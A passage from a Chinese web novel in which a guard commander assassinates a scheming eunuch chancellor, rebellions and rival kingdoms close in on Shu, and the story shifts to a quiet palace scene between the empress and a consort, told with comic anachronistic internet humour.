“我原以为你只是武艺了得,没想到竟然还有此等谋略!好!好!好!此间事了,我便向陛下进言,你在这廷士统领的位置上待的也有些年月了,该往上提一提了! 东升啊!我可是对你抱有很大的期望!这剑阁有徐守敬,永安还没有足以独当一面的人才呢!我觉得你可以去试试。” 黄旭听罢后连忙匍匐拜倒在地上,诚惶诚恐的说道:“愚下何德何能,敢担当此等重任?若是有负恩府厚望,岂不是万死难辞其咎!!” 陈谦立刻起身亲手将他扶了起来,拍着他的肩膀说道: “别看朝堂上都是依附我的人,真心的没几个!能够担当大任的更是凤毛麟角。我们在地方上,也要有自己的兵马,东升啊,我跟陛下的身家性命,可就全靠你了!” 黄旭立刻又跪了下来,感动的声泪俱下:“恩府……我……我就是上刀山下火海、滚油锅爬枪山,也难报恩府知遇之恩啊!!!” 陈谦摇着头毫不在意的说道:“起来吧起来吧,这也是你自己的本事,好好干。” 黄旭抹着眼泪重新站起身来,情绪有些难以抑制,张着嘴哈了几口气调整好情绪后,这才想起了什么,转身指着不远处地上的袋子,对陈谦说道: “恩府,近来天气湿闷,我专门去学了些去湿的伎俩,劳烦您移步趴到榻上,我为您调剂一番。” 陈谦望了望远处的袋子,释然一笑,点着头说道—— “好,难为你有心了。” 第168章 是二十万 陈谦舒舒服服的走到蜀锦榻边,张开双臂任由黄旭轻轻的为自己褪去外衣,而后又自己脱下内衫,露出消瘦的后背,趴在榻上双手枕在下巴,十分舒服的闭上了眼睛。 太累了,放松一下吧~ 黄旭从袋子里取出那些半透明的琉璃瓶,整整齐齐的摆在榻旁的曲凳上,又端来油灯和清酒,伸出手指头蘸上酒水,在瓶子里刮上一圈,点燃一阵蓝焰后,立刻扣在了陈谦的后背上。 他的后背有些瘦,两个肩胛骨凸起,很不好扣。其中一个扣上去还掉落了下来,慌得黄旭不住告罪:“恩府恕罪,我……我学的还不是太熟练……” 陈谦闭着眼笑着说道:“无妨~无妨~” 等到黄旭将全部瓶子都扣在陈谦的后背上,白皙的后背被负压吸出八九个紫红色的凸起肉球。紧接着他便站起身来,将东西都收拾了一下,手上沾了清酒,轻轻给陈谦按摩了起来。 太特么舒服了~ “呼~~呼~~呼~~” 不知道过去了多久,陈谦可能是累过之后太舒服,以至于彻底放松了下来,睡着了。 听到传来的鼾声后,黄旭微微抬动眼眸,看向了陈谦的脖子,将手缓缓伸进袖子里,把绑在小臂上的剧毒匕首解线,缓缓抽了出来。 不因后事忘初意,不因私恩忘国仇。 他怒目圆睁,刀柄紧握,缓缓挪动脚步,站在了陈谦的脑袋旁边。 下一刻,他猛的伸出粗大的左手,手掌用力按住陈谦的头,右手迅速发力,一刀就捅进了他的脖子里!! “噗——” 鲜血如同喷泉一般呲了出来!睡梦中的陈谦被这阵剧痛弄醒,猛的瞪大眼睛,感受到脖子和肩膀的连接处传来的滚烫的灼烧感。 他立刻四肢用力拼命挣扎了起来,可是下一刻,又是七八刀捅进了他的后背里,琉璃瓶子被拨的散落了一地。陈谦张开嘴大口的呼吸,却只从脖子里感受到割裂感,传来了“嘶吼嘶吼”的漏气声。 “噗……噗……东升……东……” 黄旭咬着牙,面色狠厉的又是一刀戳进陈谦的脖子里,还在里面用力的上下搅了搅,抽出来后来回抽割着陈谦的脖子。 一切,为了大蜀!! 等到小内官在门口都下值了,还没有见到黄旭从大总管的房间出来,不禁有些疑惑,拔个罐要这么久吗? 于是,他跟人交接完后,就小心翼翼的来到了正堂外,朝着里面侧着张望偏殿里面,却因为视角的关系,看不清里面的情况。 但是下一刻,他的双眼就瞪大了—— 黄旭一身血污,浑身透出冲天煞气,手中提着一颗血淋淋的人头,另一只手提着匕首来到了正堂门口,冷漠的看了一眼刚才还谈笑风生的小内官后,随手将手中的头颅往地上一丢,滚出去好远。 丢死人啦~~ 由于这颗首级满是血污,头发都被粘着糊住,乱的跟个毛线团一样,根本看不清真容,所以小内官一时之间并没有发现这是陈谦的吃饭家伙。 “东……东升……你这是……怎么了??” 黄旭冷哼一声,没有回答他,而是转身向着掌令府门外大步走去。 由于他是这里的常客,哪怕是一身血污,包括小内官在内、满院子的下人、婢女和侍卫都没有人怀疑,还以为是有人行刺大总管被黄旭反杀了,或者是大总管让他处置了什么人。 黄旭出了大门,纵身跨上马,挥舞着马鞭径直奔往皇宫。 直到这时,掌令府内才传来一道惊恐中夹杂着凄厉的尖叫—— “快来人啊!!!!” 刚刚结束了暑假旅游的孟玄听说宫门前有个浑身血污的人长跪不起,引得成都居民、官员百姓都来围观后,又懵逼又疑惑,连忙叫人把那人拉了进来。 结果一看,是廷士统领黄旭。 “黄爱卿……你这是……” “陛下,臣刚才手刃了陈谦那阉贼,特来向陛下请罪!” 孟玄听到这句话后,被惊的连连后退了几步,张着嘴巴说不出话来。 作为御驾亲征过的皇帝,孟玄是见过尸山血海的,亲自提枪冲阵那也不是没有过,死个把人对他来说,还不如白猫会后空翻新奇。 但死的是陈谦啊! 杀他的还是他最倚重信任的黄旭!! 这个世界怎么了?? “为……为何呀?!他前日还对朕说,你劳苦功高,资历深厚,该外放去军中历练一番的,他……他很看好你,很为你说话呀!!” 黄旭身上的血污此刻已经干涸,凝结成痂。孟玄的话并没有触动他分毫,反而是面无表情的盯着地面。 “此贼对臣施以恩惠,实为一己私利,而置大蜀社稷于不顾!陛下,陈阉他骗了你,捂住了朝堂众臣的口鼻,堵塞了他们的上言之路,让您听不到真实的声音,是国之大奸啊!!” 沃德发? 你他妈的在说什么啊?! 孟玄推开身前的内官,快步冲到跪着的黄旭身边,不顾形象蹲下,一把揪住他的领口,呲目欲裂的看着面无表情的黄旭。 愤怒、震惊、难以置信、将信将疑、以及深深的绝望和抗拒之情充斥在孟玄的脸上。 不,不可能…… “一定是你跟陈谦意见不合吵起来失手杀了他对不对?或是……或是你们联合起来逗朕,是不是?是不是!!” 黄旭依旧面无表情,只是不顾孟玄还抓着自己的领子,重新跪拜了下去,将额头贴在了白石砖上。 孟玄不想接受这个情况,但黄旭的反应告诉他,这些很有可能……全是真的!! 他是陈谦最信任和倚重的武将,深恩厚义都能金水跳反,预言家包假的啊! “说……一字不落的说……” 他失魂落魄的踩上台阶,扶着雕龙镀金榻坐了下来,双眼空洞的吞了吞口水。如果陈谦真的骗了自己,那现在……祖宗交给自己的大蜀,究竟变成了什么模样? “陈谦构陷冤杀了礼部傅尚书、吴侍郎,刑部张侍郎,后宫静娘子、及其宫人二十余名,处死了廷士、近卫三十六人,谪贬了前朝十二名国之重臣,流放了官员四十四人。 另外,此贼还秘密处决了五位向皇后娘娘请驾、去青城告知陛下真相的大人,还胆大包天到用药物去伤害皇后娘娘,致使她昏迷不醒。而且,他还指使党羽剪除异己,大肆安排亲信。 他还以陛下的名义向国中百姓横征暴敛,下头官吏更是乘机捞取好处,苛政如虎,叛乱四起!陛下,绵竹、涪城、阆中都已经被揭竿而起的百姓攻陷了,整个奉节府两郡七县全都已经不在朝廷的掌控中了啊!!” 孟玄脸色苍白的听完后,指向身旁的小内官,叫他去。 没一会,小内官抖着身子回来了,将几本折批颤巍巍的放在了孟玄的御桌案头。 任何一位帝王,都不可能完全彻底的信任别人,他的盟友,只有自己。 所以,孟玄有皇帝专属的消息网和密奏。 但他只出游了一个月不到,就算陈谦哪吒闹海,那也得先挥动混天绫搅一搅吧?哪有那么快?能出什么事? 再加上一路都是歌舞升平的景象,他也就懒得看这些密奏了。 但现在,他有些害怕了。 孟玄翻开一本密奏,颤抖着手看完后,又拿起另一本,吞着口水看完,人麻了。 “不是说,只是几个零星盗匪吗?哪来的十万大军!!十万大军?!!!” 一脚将桌子踢翻,孟玄喘着粗气,愤怒的站起身来,将手中的密奏一把砸到随身内官的脑袋上,状若疯狂!!! 整个西川,竟然有将近三分之一的州府正在战火燃烧!! 宫女们和内官都被吓得匍匐在地,全都抖成了筛子,根本不敢动弹分毫。 黄旭沉着声抬起头,双目悲怆的说道: “陛下,贼众并非十万,那是七天前的人数。” 孟玄只感觉脑袋里充满了血,头昏脑胀的转过身,难以置信的望向黄旭。 “今天送到陈阉桌上的折批,臣看过了,截止昨晚,贼众……已逾二十万。” 芽儿哟…… 孟玄双目一黑,瞬间感觉天旋地转,直挺挺的摔倒在了地面上。 “陛下!!陛下!!” 尽管重新上朝的孟玄已经做好了心理准备,但还是被陈谦的败家速度和本领震惊的无以复加。 整个蜀国所有在编的兵马,先甭管他是不是吃空饷,全部加起来也不过才区区二十一万。 造反的民众竟然跟整个蜀国的军队人数不相上下! 虽然这些数字含有水分,一人造反全家算贼,真正的青壮年反贼应该也就五六万撑死,可那也很逆天了!! 更要命的是,剑阁的大舅哥徐守敬来报,据细作和探子查听得知,近日汉中运送来了许多从中原长途跋涉而来的马车,上面用油布遮盖,封的严严实实,保密非常严格,根本不清楚里面装的是什么。 但数量足足有五百多车。 不管里面装的是什么,哪怕全是泥土和稻草,五百车也是一个非常恐怖的数字。更何况他们哪有那么无聊,文训又不过愚人节,不会不远千里拉一堆没用的东西来吓唬孟玄 这意味着蜀地的骚乱已经引起了汴京的注意,此时往两军对峙的前线输送物资,想要干什么,不言而喻。 哦对了,这是徐守敬七天前送达成都的军报,被陈谦给扣了下来,再算上路上送信的时间…… 也就是说,距离这件事发生,已经过去十天了。 更要命的是,由于奉节府全府被反贼占据,所以永安、江陵地区的消息根本过不来一点,彻底和成都断绝了联系。 大郑能向汉中输送物资,就说明他们十分清楚西川正在发生的事。 那驻扎在江陵府的三万蜀军水师…… 第169章 收放自如 如果可以,孟玄绝对会耐着性子完整看完120秒的广告,把陈谦重新复活过来,再亲自把他凌迟处死! 不在他的前胸、后背、屁股、大腿上雕出完整的五幅《唐宫仕女图》,再揭下来贴在墙上晾干,实在难解自己的心头之恨!! 能在这么短的时间内,把大蜀搞成这副山河破碎的样子,也是一种不得了的本事,蜀皇陛下挠破头也想不明白,他究竟是怎么做到的?? 现在爽了,内部军民大乱斗,外部虎豹豺狼绕。大蜀境内到处都是人山人海、旌旗招展、锣鼓喧天的景象,当年太爷爷创业的时候都没有这么热闹过。 而且那个时候太爷爷手底下的人,武将都是个顶个的能打能杀,文臣都是一条心的群策群力。他们紧紧围绕在太爷爷身边,五个指头捏在一起,敢将任何挡在眼前的东西都一拳轰开! 现在自己身边都是些什么玩意儿? 有能力的人都是有脾气的,可正是因为有脾气,所以不肯屈服顺从,都被陈谦给弄死了,这会坟头草都三尺高了。 剩下的都是些没什么本事的,没本事就算了,忠诚也得不到保障。墙头草随风飘,时刻准备两边倒,谁势力大他们就会向着谁。 陈谦势力大的时候,他们便十分丝滑的跪向陈谦,一点也不觉得脸红和羞愧。现在比孟玄势力大了不知多少倍的文训马上就要来了,届时他们会怎么选择,还用猜吗? 当奉节府全境被乱军控制的消息到达汴京后,老头子们连夜开会商议,量身定制出一套更适合孟玄总裁和大蜀公司的全新企划,无数匹快马连夜冲出城门,八百里加急发往汉中和南阳。 汴京急令种平把部队全部拉到剑门关下晨练跑操,跑完后再跳广场舞,三班轮换全天无休的进行常态化演练,务必要给驻守在剑阁的蜀军将士造成巨大的军事压力和心理压力。 此举让剑阁防御使徐守敬颇为头疼,整日整夜的睡不好觉,晚上也根本不敢脱衣服,生怕到时候因为穿衣服耽误了第一时间到达指挥位置发号施令、组织防御。 因为谁也不知道种平会在哪次晨跑后突然想要进入剑门关,买上一杯豆浆或者几个牛肉粉丝包。 剑门关一丢,巴蜀平原可就任由这些虎狼之师纵横驰骋、揉圆搓扁了。 出去干他一票那更是扯淡!打赢了,种平大不了退回汉中,过不了个把月立刻又会元气满满的卷土重来。可要是打输了,那就直接芭比扣了~ 种平可以失误,徐守敬不行,一次都不行。 等到北路军频繁试探,把蜀国精锐部队都吸引过去并且牵制住他们后,驻守在襄阳的东路行营部署邵之祁立刻率兵南下,数日之间连克当阳、猇亭,一举攻占了连接荆蜀两地的水陆枢纽——夷陵。 距离夷陵不远的江陵守将只有三万水师,平时的训练科目也都是划船射箭,根本不是邵之祁的对手。甚至他的乌纱帽都是孝敬陈总管、把自己的上官弄下去后才得来的。 如今退回巴蜀的归路被阻,三万水师进退维谷、孤悬荆北。别说邵之祁的六万郑军和江夏的唐兵了,荆南个体户张照初来了都是一劫。 面对刘禅、米莱狄、阿古朵外加苏烈和暗信三路齐推的局面,自己一个百里守约,连清理人家的仆从都费劲,玩个蛋! 思来想去,在发现没有任何办法后,最终他还是决定:赶紧投了开下一把。 战争的结果有时候也不一定要等到双方砍完以后才能见分晓,幼儿园大班刚毕业的你遇到巅峰时期的泰森,他敢出手吗?他特么还得蹲下来柔声细语的哄着让你别哭。 水到渠成,势如破竹,迎刃而解。 果然爱笑的老头运气不会差,老文白捡了汉中才过去几天呐,又轻轻松松将重镇江陵收入囊中,包括孟玄辛辛苦苦打造出来的几百条艨艟楼船。 这些意外之财他也不会独享,见者有份,过段时间就送去金陵给李雄,至于是以什么方式送去的,你就别管了。 攻占江陵后,大郑的军事影响力已经可以直接辐射到牂牁蛮和岭南地区。汉主刘思的家庭住址和个人信息早就被大郑礼部衙门开过户了,现在只要文训想,随时都能联合张照初线下真实这个爱啃甘蔗的口嗨佬。 邵之祁的东路军虽然率先发起了军事行动,但其战略作用并非是要沿江而上攻打永安,而是将蜀、唐之间的联系彻底断开,拔了他们的电话线禁止互相交流,更不许李雄去找孟玄面基。 真正负责主攻的,是种平的北路军。 只是,现在还不是时候。 虽然从人道主义的角度来讲,眼睁睁的看着巴蜀人民陷入水深火热之中却选择袖手旁观,多少有些不道德。 但从军事和政治角度来看,还不够。 等到孟玄派兵镇压了叛乱、安抚好民众让大家不要再闹事、赶紧回家去后,估计蜀国往年存储的粮食、仓库积累的银钱也就耗的差不多了。 如果在军民无限制格斗赛中不小心再死伤上一些人,日后伐蜀的阻力只会更小。 当然了,如果孟玄没有平定叛乱,那就更简单了。团结一致的西川或许还需要大郑君臣认真应对,乱成一盘散沙的西川,那不是单手拿捏么? 反正如今万事俱备,只等明年开春出兵,无论西川最后会变成什么样子,郑军随时都能够强势介入并且控制住局面。 老文近来烦恼越来越少,心情越来越好,这种一切尽在掌握的感觉,爽啊~~ 孟蜀就像一颗鸡蛋,得稍微用点力才能磕碎它。但李唐就不同了,这是一桶非牛顿流体,越用力就越硬,但是只要你别管它,它自己会流光的。 太子李岐整天被大郑的细作使者们灌耳音,越来越觉得亲爹李雄老眼昏花了。其他皇子麾下的大郑细作们,也都互相配合,齐心协力的想办法给他们父子兄弟之间制造一些不经意的火花。 摩擦摩擦~我的滑板鞋~在光滑的地上摩擦~ 努力就会有回报,我,用钢刀来证明。 唐国的越王殿下率先打破游戏规则,在这场名为“皇位争夺赛”的马拉松运动中,第一个使用见不得人的手段,叫人在赛道旁的水饮补充处给每个杯子里都加入了急性泻药。 可怜的闽王殿下因为年纪太小,根本不知道这个社会的水有多深,所以在不知情的情况下随手取了一杯一饮而尽。结果还没跑出去多远就感到腹痛难忍,不得不去厕所,失去了竞争资格。 此举直接撕去了政治斗争的最后一道底线,皇子们每天出门都会遇到失控的马车、发疯的癫人、突然出现的大坑和不小心射歪的箭矢。 每次吃饭都要让下人们先尝尝咸淡,而且最少要等到两个时辰后,试菜的人还能分得清楚一二三四才敢动筷子,可这个时候饭早特么凉了。 太子被集火那是意料之中的事儿,可李雄是真没想到自己的这帮儿子们会如此疯狂,竟然敢往自己的饭菜里也投毒! 那砒霜稠的猪头三都不喝! 他先怀疑了太子,毕竟他是第一受益人。但仔细想想又好像不对,这次下毒手法极为潦草,智障都能发现不对劲,好像就是专门让自己察觉后龙颜大怒,然后去追查的。 所以也有可能是其他皇儿想要借自己的手铲除掉太子,那么这样一来,受益人可就多了…… 还有一种可能,就是太子故意为之。万一成功了他就直接登基,万一失败了,一向多疑的自己也一定会联想到是构陷,怀疑其他儿子。 无数种可能,都有可能。 夜深无人的时候,李雄从龙榻上坐起身子,扯着自己两鬓的头发,感觉头都要裂开了。 感觉到不能再这么下去的他,天一亮就将儿子们全部都喊了过来,声泪俱下的把他们的手叠在一起,再次强调了“本是同根生,相煎何太急”的亲情可贵和“一根筷子掰得断,一把筷子掰不断的”浅显道理,把儿子们感动的个个热泪盈眶,一把鼻涕一把泪的。 可李雄忘了,自己这个家,是天家。 儿子们彼此搂着肩膀笑着朝他挥手告别,兄友弟恭的出了宫门后,恢复了冷漠的表情,各自散开归府。 涛声依旧。 驻守在庐州的王臣鹤一看唐国这么热闹,立刻将南部军区将近一半的人马都抽调回了徐州驻守,远离长江前线。好让李家父子能够安安心心、痛痛快快、毫无后顾之忧的“父慈子孝”。 除了“储君争夺战”战况激烈以外,唐国朝堂上的党争也很激烈,每一位皇子的背后都有着实力雄厚的世家支持和官员拥护,在地方上拥有兵权的将领同样也不在少数。 有些江南阿公的存款余额,比大多数平民百姓的身份证号还长。 荆南的张照初、清泉的陈瑾都听从了汴京的旨意,将他们手中的军队调离了与李唐接壤的边境,开始给汉帝刘思上压力,让整个唐国周围都没有外部威胁。 只有强者才配坐上江南国主的宝座,我的好世侄们,放开手脚大胆去干吧! 第170章 没事别口嗨 常羡人间琢玉郎,天应乞与点酥娘。尽道清歌传皓齿,风起,雪飞炎海变清凉。 万里归来颜愈少,微笑,笑时犹带岭梅香。试问岭南应不好,却道:“此心安处是吾乡。” 岭南是个好地方,如果草原上的可汗们能够亲自来到这里体验一番,知道世界上还存在着一年四季都温暖如春的风水宝地,并且还有吃不完的水果和捞不完的鱼。 那他们肯定会真心实意的和李继贤或者文训商量,规规矩矩、本本分分的穿过大郑的疆土,来到汉皇刘思家里登门拜访。 东亚朋友圈里迄今为止还敢在明面上称帝的龙头老大,除了名副其实的文训,也就只有这哥们了。 汉皇陛下实力不是最强,疆域也不算大,甚至兵马也不如李唐和孟蜀多。但他就是有种,敢在公屏上把文训年纪大身体差、夜里上厕所太频繁、啃不动羊棒骨的各种糗事都给他堂而皇之的抖出来。 怎么了?我说的是实话呀!又没有骗人。 还不让人说了! 哎~我就说~我就说,你能把我怎么样?来打我呀~~笨蛋! 你别说,以前文训还真拿他没办法,大郑和岭南中间隔着蜀、唐、荆南三股势力,从襄阳到兴王府的路程足足有两千三百多里。别说派大军了,就是只派一些刺客,能成功到达的都不多。 尤其是荆南地区,虽然张照初用武力统一了当地大家族的意见,各地民众也都认他当老大。但这并不妨碍他们夜里出去在官道上偶遇过路的客商,民风淳朴且彪悍。 如果你能安全通过这里,那说明你的运气和胆量以及身手都是很不错的,但接下来你要面对的是蔚岭和大庾岭。 两座连绵大山中间夹着几条小道,当年送往长安的荔枝就是从这里经过的。但很可惜,现在这里的南北两边是冤家,甚至可以说是仇家。 张照初当初不敢北上扩展业务,并不仅仅是忧虑孟玄会提刀来跟他拼命,创业嘛,哪有没有任何风险的好事。 其实他更担心的是山那边的刘思会趁着自己不在家,偷偷翻进他家后院。 地缘政治和军事掣肘,是古今中外永恒不变的道理。 阿三之所以能够左右逢源,把日子过的滋滋润润,就是因为北极熊和美洲鹰都希望能够用它来牵制我们。 而我们也会支持巴铁,让他们鼓起勇气去对阿三的不合理要求说不。 阿三也会支持巴铁境内的南部省份俾路支。 同理,既然文训能够支持张照初和陈瑾,李雄当然不会任由他们在自己背后磨刀霍霍,对于能够给他们造成军事压力的刘思,李雄那是越看越觉得顺眼。 逢年过节礼物不断,生日寿宴大操大办,刘思每纳一位新欢,哪怕是最低级的女官,李雄都会送上丰厚的贺礼,夸赞他雄风不减当年。 如果不是因为担心刘思会觉得膈应,李雄甚至连清明节都想给他送上自己的祝福和礼物。 孟玄也是,刘思的存在,对于牵制牂牁蛮有着不可忽视的军事作用,所以他对刘思同样媚眼频频。 反正他的南边是一望无际的碧浪滔天,只有琼州一块地方。想要做大做强,只能将目光看向北方。 天然的盟友。 出来混,靠的就是一个“义”字,唐主李雄和蜀主孟玄都这么抬举自己,刘思在飘飘然的同时,自然也不会落了朋友的面子,有事也会给他们帮帮场子。 于是,他在实际行动中多次联合唐军和蜀军,对牂牁蛮、张照初、陈瑾进行挥拳警告,让他们做人低调点。 至于这俩好哥们的主要仇家文训,他就爱莫能助了,实在是有心无力、鞭长莫及啊!要不是隔的太远,兄弟我一定给他脑袋上来一棒子! 孟玄和李雄充分肯定了汉皇陛下对朋友两肋插刀、义薄云天的高尚情操,拍着他的肩膀说不要紧、没关系、我没事。 他们这么一搞,更是让刘思为自己帮不上兄弟的忙而深感愧疚和自责。 皱着眉啃完一根甘蔗后,刘思脑袋里突然灵光一现,冒出个绝妙的主意来! 智慧+(-15) 勇气+50 分贝+80 寿命???(未知,反正是有变化) 站在蔚山顶上,吹着温热湿风。刘思双手叉腰,深深的吸了一口气后,对着北方接连不断的妙语连珠、狂喷不止,向一脸懵逼的文训展示了开麦后的祖安地域形象。 他喷的脏话是从族谱点名开始,围绕着个人行为、家族门风、身体器官、妻儿子女、健康状况等各个方面,深刻、彻底、全方位、毫无保留的纯输出。 有些话,连孟玄和李雄听了都觉得有点太过,其他人听了那更是被惊的肝胆俱颤! 人怎么可以这么有种?! 刘思喷完后,望着下方长江以南各位大佬目瞪口呆的眼神,不屑的伸出一根食指摸了摸人中,那咋啦?怂什么?根本不带怕! 不服让他来咬我~ 这盛世如你所愿,现在,邵之祁来了。 由于东路军的主要任务是隔断蜀唐之间的联系,所以大军只要驻扎在江陵就行。 而且现在蜀唐两国的内部都闹得不可开交,单方面或者两路夹击江汉平原的可能性微乎其微,所以邵之祁发现自己没事可干了。 于是,荆南张照初的治下,凭空多出了一支万人以上的人马。 这帮人看面相不像南方的邻里乡亲,对于湿热的天气也有些不太适应,但却极擅水战。而且他们的盔甲和武器也都是非常整齐划一的,辅助器械也很豪华,投石车随便一拉就是三十台。 站在梅关上的刘思还没弄明白怎么个事呢,就看到张照初的手下大将点头哈腰的对着一个高高胖胖的白脸大汉说着什么,还顺便抬起胳膊指了指自己。 下一刻,一场绚烂的白日流星雨就出现在了刘思站立之地的上空。 彻底消灭刘思还不到时候,但让这个口嗨佬的小嘴巴闭起来还是很有必要的,邵之祁交给这一万人的任务就只有一个—— 把梅关这座影响我们以后找汉皇陛下喝茶谈心的违建给老子拆了。 对郑军的军事水平还处于探索状态的刘思亲自坐镇梅关城头,命令手下兵马齐齐出城,一定要给这帮没有礼貌的外地佬留下一个深刻的教训! 如果是寻常郑军,谁胜谁负还真不好说。 但是,这一万人都是文若当年返京时留给邵之祁的江淮军旧部,以及跟随着他进入南阳参与平定襄樊节度使宋舒的原颍川乡军。 这么多年过去了,这支军队里最菜的菜鸟,也是从四十多场大战中存活下来的老兵。 仅仅一个照面,没有心理准备的汉军直接一触即溃,连胶着相持状态都没有出现,被郑军一边倒的屠杀。 对方的配合实在太默契了,远射近耗、左右游攻,分割包围后挨个消灭,再马不停蹄的继续向前,后面那三十台该死的投石车从始至终就没有停过。 刘思咬着口腔内壁想了想,打不过那就退回来吧,守城拉倒。 然后,郑军用严谨的态度、详细的讲解、耐心的问答,给刘思和张照初的军队上演了一场教科书式的攻坚战。 仅仅只用了一天时间,确切的说是五个时辰外加两刻钟,以险峻而闻名的重要隘口、岭南梅关,就因为刘思的轻敌大意而被郑军无情攻破。 刘思在亲信的保护下,跟着败军一路慌张逃窜,好不容易才摆脱了郑军的追兵,堪堪逃出一条生路。 这些郑军也没有再穷追不舍的赶他,主将思虑良久后,本着保护文物古迹的想法,将梅关交给了张照初的人,而后提兵返回江陵去了。 南方的气候是真的有些受不了,军队里已经有人生病了,见好就收,走为上计。 梅关能够保护刘思不受岭北势力的干扰和影响,自然也能让荆南免受刘思的挑逗和撩拨。 攻守易形了小宝贝儿~ 郑军主将走的时候,还委托荆南军士给汉皇陛下送去了一封信,大意就是:我还会回来的,期待与你的下次相遇,wink~ 回到兴王府后的刘思惊魂未定,对大郑的军队形象、军事素养和作战能力有了一个比较全面和清晰的认知。再联想到自己以前对文训放过的豪言壮语,不禁有些后背发凉。 才一万……就这么猛吗? 刘思依稀记得,自己以前听李哥和孟老弟说起过,这样的军队,文训还有四十几万…… 不过那个时候他根本没有在意,两个好兄弟离自己尚且非常遥远,比他们更远的文训那更是远到姥姥家去了! 但他怎么也没想到,这才过去不到十年,郑军就已经摸到自己家门口了! 唉…… 有些人活着,却已经死了。 第171章 老好人 被暴揍了一顿的刘思彻底有了心理阴影,没过几天就先给张照初送了点金银珠宝,让他管一管辖区内的治安,最起码把他的使者先放过去。 再不上表称臣挣扎一下,很难想象以后自己会是什么下场。 其实说真的,没有这个必要。 由于他当年太讲义气了,喷老文喷的有点狠,所以已经上了大郑入境黑名单。老文也很讨厌这个只会在线上咬人的家伙,所以不管他挣不挣扎,都会噶。 远人来朝,拒绝人家或者不接受示好都会落人口实。但大郑官员又实在不想跟这个在网上诋毁自家董事长的小丑扯上半毛钱的关系,于是便让小弟去解决这件小事。 汴京让张照初不要放汉国的使者过境,再通知一下刘思,趁着这段时间,想吃什么就吃点什么吧~ 什么? 你当时派人来认错了? 什么时候的事?我怎么不知道? 事到如今还敢狡辩,攀咬我们的不是,罪加一等! —— 如今的大郑,外部环境非常好,好到往前数一千年都很难找出几个相似的时间段,统一天下的概率已经达到了90%。大势所趋,不会因为任何个人的意志而转移。 那么,暗流就该涌动了。 汴京,后宫。 初秋的汴京依然有些炎热,暑气尚未完全褪去。 皇后一个人静静的坐在露台边的美人靠上,整个人身影显的消瘦落寞,跟当年在汝南府时的慈眉善目、气色俱佳相比,完全判若两人。 她的脸上多出许多皱纹,发丝里也添了许多白芯,双目空洞的望着外面池子里的浮萍彩莲,仿佛一尊雕像一般。 池边柳树上的刀叶有的已经渐渐泛黄,一阵微风吹过,吹落满池,在平静的水面荡出阵阵涟漪。 衣着端庄、打扮简单的淑妃领着浩浩荡荡的随从们停在了清露宫的正殿门外。 被女官扶着走下抬辇后,她抬起头望了一眼宫门门头,又微微歪头,仰着下巴看向湛蓝的天空,微微叹了口气。 将目光收回来后,一双清雅的美瞳又看向了宫门内,抬脚走了进去。她只带着女官一人随侍,其余人全部被她留在了宫门外。 轻车熟路的来到正殿后方的馨香畸,踩着灰砖小径、穿过蜀葵和黄菊盛开的花园,看到了一脸焦急的新任女总管。 女总管见到是淑妃娘娘来了,连忙迈着小碎步上前行礼,她身后的四名宫女也端着东西紧随着她跪在地上参见。 “娘娘,皇后娘娘正午又未进膳,说是没胃口。奴婢已经炖了最淡的鸡汤,可她还是命奴婢先退回来,这样下去不是办法啊!” 女官是真的急了,皇后要是饿死了,这一宫之人都得跟着去地府报到。 淑妃脸上也浮现出忧虑的模样,轻叹了一口气,伸出手将宫女端的盘子拿了过来,略显焦急的抬腿向着水榭台阶上去。 那女总管连忙弯下腰追着她,将她的裙袂眼疾手快的撩了起来,既不影响淑妃的行走,还要防止着她被裙袂绊倒,几乎是一路追着将她送上水榭。 上了台阶后,她这才停下动作,直起身子满脸担忧的目送着淑妃朝皇后走去。 听到身后传来脚步声,皇后心中的烦闷更重了一分,不禁开口斥责道:“春瑭,本宫不是说了没胃口么?” 淑妃并没有第一时间接话,而是将盘子放在圆桌百花布上,用食指和中指背试了试温度后,双手将白烟罐捧了起来,上头插着雕纹银勺,就这么端到了皇后面前。 “姐姐,是我。” 皇后从恍惚和烦躁中回过神来,微微抬起头,待看清楚了来人是淑妃后,怒气立刻消了许多。 又见她不顾身份的捧着个鸡汤罐子,心中顿时就有些五味杂陈。 “你好歹也是皇妃,如今更是统领后宫,怎么能自己捧着个罐子呢,叫别人看了听去,又说闲话。” 淑妃不顾宫廷礼仪的将罐子放在皇后身边的美人靠座上,自己也顺势坐在了皇后身旁,将罐子处于两人中间。 等到坐下来后,她又将罐子拿了起来,笑着捞出一勺没有半朵油花的鸡汤,亲切的喂到了皇后嘴边。 皇后皱着眉躲了一下,盯着近在咫尺的勺子看了看,又看向淑妃希冀的眼睛,对方还微微抬眉示意她喝。 唉…… 最终,皇后只能无奈的张开嘴,在淑妃的亲手服侍下喝了几口。 用完以后,淑妃又起身走向桌子,皇后拿起手中的绢,轻轻沾了沾嘴角。 “在别人那里,妹妹自然是代表着皇家仪容的妃嫔,可在姐姐这里还顾那些做什么?”淑妃脸上的笑容更盛,仿佛皇后肯吃东西,对她来说就是一件开心的喜事一般。 紧接着她又说道:“陛下这几天又去京中微服私访了,夜里回来后大都睡在勤政殿,在妹妹宫中来了两次,还去了慧姐姐那里一晚。” “哼!” 皇后听完淑妃的汇报后,原本已经松缓的脸色瞬间又冷冽了起来。 老公是共享版,这是谁也没有办法改变的事情。淑妃跟自己是相识多年的姐妹了,在一个府邸住了半辈子,一直很规矩。如今更是对自己毕恭毕敬,事事顺着自己。 哪怕是自己已经彻底失宠,她的尊敬也不减分毫。 老公总要有女人陪,虽然心里还是有点不太舒服,但让淑妃陪侍已经是当下最好、最能让她接受的结果了。 可廖慧兰是个什么东西?她也配! “二十多年了,那小狐媚子就没消停过,你心软性善,可要仔细着点,别被她给诓骗了。” 淑妃无奈的笑了笑,伸出手按住皇后的手背说道:“妹妹记下了。” 皇后瞥着淑妃有些责怪的说道:“你总用这样的话搪塞我,回头就忘的一干二净。你忘了那年她在陛下面前使心机,叫你难堪的事了?” 淑妃叹着气,底气顿时弱了几分:“那……许是误会也……” “行了,你就不听我话,继续做你的老好人吧,迟早后悔死你!”皇后无奈的撇了撇嘴,重新将手臂枕在靠背上,目光越过池塘,看向了远处的深宫高墙。 淑妃见状也不再多言,同样目光忧郁的望向远处。 午后暖阳照射着大地,风,静谧无声。 两个人沉默了好久后,淑妃才重新轻轻的开口: “姐姐万不可再妄自菲薄,定要好好保重身体,虽然陛下一时生气,但你毕竟是太子生母,大郑皇后,这一点任谁来也改变不了。 妹妹近来斗胆越界,打听留意了前朝动向,周家子弟虽被下职放官,但在太子的暗助下,大部分都没有性命之忧。 